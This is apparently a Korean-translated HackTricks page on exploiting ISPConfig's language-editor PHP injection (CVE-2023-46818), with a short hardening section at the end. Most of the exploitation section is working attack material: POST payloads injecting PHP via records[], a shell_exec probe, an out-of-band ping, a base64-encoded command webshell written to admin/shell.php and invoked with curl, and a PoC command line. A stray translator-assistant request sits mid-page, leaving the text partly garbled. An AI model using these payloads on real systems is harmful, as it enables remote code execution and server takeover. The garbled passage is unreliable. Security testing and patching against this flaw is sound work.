ISPConfig

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

개요

ISPConfig는 오픈소스 호스팅 컨트롤 패널입니다. 구버전 3.2.x 빌드는 언어 파일 편집기 기능을 포함하고 있었는데, 이 기능이 슈퍼 관리자(super administrator)에게 활성화된 경우 잘못된 형식의 번역 레코드를 통해 임의의 PHP 코드 주입이 가능했습니다. 이로 인해 웹 서버 컨텍스트에서 RCE가 발생할 수 있으며, PHP가 어떻게 실행되는지에 따라 권한 상승이 일어날 수 있습니다.

주요 기본 경로:

  • 웹 루트는 php -S로 제공되거나 Apache/nginx를 통해 서비스될 때 종종 /var/www/ispconfig에 위치합니다.
  • 관리자 UI는 HTTP(S) vhost에서 접근 가능(때로는 localhost로만 바인딩되어 있을 수 있으므로, 필요하면 SSH 포트 포워딩을 사용하세요).

팁: 패널이 로컬에 바인딩되어 있다면(예: 127.0.0.1:8080), 포워딩하세요:

bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

언어 편집기 PHP code injection (CVE-2023-46818)

  • 영향받는 버전: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • 전제 조건:
  • 내장 superadmin 계정 admin으로 로그인 (벤더에 따르면 다른 역할은 영향 없음)
  • 언어 편집기 활성화 필요: admin_allow_langedit=yes in /usr/local/ispconfig/security/security_settings.ini
  • 영향: 인증된 admin은 언어 파일에 기록되어 애플리케이션에 의해 실행되는 임의의 PHP를 inject하여 웹 컨텍스트에서 RCE를 달성할 수 있음

References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.

수동 익스플로잇 흐름

  1. 언어 파일을 열거나 생성하여 CSRF 토큰을 얻음

첫 번째 POST를 보내 폼을 초기화하고 HTML 응답에서 CSRF 필드(csrf_id, csrf_key)를 파싱합니다. 예시 요청 경로: /admin/language_edit.php.

  1. records[]를 통해 PHP를 inject하고 저장

CSRF 필드와 악성 번역 레코드를 포함해 두 번째 POST를 제출합니다. 최소한의 명령 실행 프로브:

http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

대역 외 테스트 (ICMP 관찰):

http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. 파일을 작성하고 webshell을 배치

file_put_contents를 사용하여 웹에서 접근 가능한 경로(예: admin/)에 파일을 생성하세요:

http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

그런 다음 POST 본문에서 문제가 되는 문자를 피하기 위해 base64를 사용하여 간단한 webshell을 작성하세요:

http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

번역할 파일(src/network-services-pentesting/pentesting-web/ispconfig.md)의 내용을 여기에 붙여 넣어 주세요. 제공해주시면 마크다운/HTML 문법을 그대로 유지하며 영어 본문을 한국어로 번역하겠습니다.

bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

PHP가 root로 실행되는 경우(예: root로 시작한 php -S 127.0.0.1:8080), 즉시 root RCE를 얻습니다. 그렇지 않으면 웹 서버 사용자 권한으로 코드 실행을 얻습니다.

Python PoC

즉시 사용 가능한 exploit는 token 처리와 payload 전달을 자동화합니다:

실행 예:

bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Hardening

  • 3.2.11p1 이상으로 업그레이드
  • 언어 편집기는 꼭 필요하지 않다면 비활성화하세요:
admin_allow_langedit=no
  • 패널을 root로 실행하지 마십시오; PHP-FPM 또는 웹 서버가 권한을 낮추도록 구성하세요
  • 내장된 admin 계정에 대해 강력한 인증을 적용하세요

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기